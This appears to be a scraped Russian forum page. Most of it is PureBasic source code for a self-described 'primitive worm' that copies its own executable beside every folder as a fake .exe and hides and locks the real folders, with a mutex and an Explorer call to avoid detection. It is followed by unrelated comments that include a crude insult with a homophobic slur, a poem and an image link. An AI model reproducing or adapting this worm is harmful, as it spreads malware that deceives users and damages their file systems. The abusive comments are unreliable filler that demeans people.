- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
;********************************************************************
;* Примитивный червь. Распространяется, подменяя собой папки. *
;* Для компиляции в среде PureBasic 5.30 *
;* Автор не несет ответственности за Ваши действия с этим кодом. *
;********************************************************************
Procedure Spread(path.s)
Define finddata.WIN32_FIND_DATA,hFind.l
Define.s fname, ext
Define.l attrs
If Right(path,1) <> "\":path+"\":EndIf
hfind=FindFirstFile_(path+"*.*",@finddata)
If hfind <> -1
Repeat
fname=PeekS(@finddata\cFileName)
If (fname <> ".") And (fname <> "..")
fname=path+fname
attrs=finddata\dwFileAttributes
ext=LCase(GetExtensionPart(fname))
If attrs | #FILE_ATTRIBUTE_DIRECTORY = #FILE_ATTRIBUTE_DIRECTORY
If CopyFile(ProgramFilename(), fname+".exe")
SetFileAttributes(fname,#FILE_ATTRIBUTE_READONLY|#FILE_ATTRIBUTE_HIDDEN|#FILE_ATTRIBUTE_SYSTEM)
SetFileAttributes(fname+".exe",attrs|#FILE_ATTRIBUTE_READONLY)
EndIf
Spread(fname)
EndIf
EndIf
Until Not FindNextFile_(hfind,@finddata)
EndIf
EndProcedure
Procedure Main()
Define.l hm
Define path.s
path=ProgramFilename()
path=Left(path,Len(path)-Len(GetExtensionPart(path)))
If FileSize(path) <> -1
ShellExecute_(0,@"OPEN","EXPLORER.EXE",@path,0,1)
EndIf
hm=OpenMutex_(#MUTEX_ALL_ACCESS,#True, @"mutexname")
If hm<>0
CloseHandle_(hm)
Else
hm=CreateMutex_(0,#True,@"mutexname")
spread(GetCurrentDirectory())
EndIf
EndProcedure
Main()
хуёвый
Программируют в кавычках только на пхп и js ;)
Пыль дорог на устах.
И молчит холодный рассвет.
Неужели любовь только на небесах?
Пилигрим знал: конечно, нет!
Как с тобой связаться?
У маменький персик
тот долбоёб и пидорасик
Можете меня забанить.
https://vestniksochi.ru/upload/000/u1/007/1cdedc0d.jpg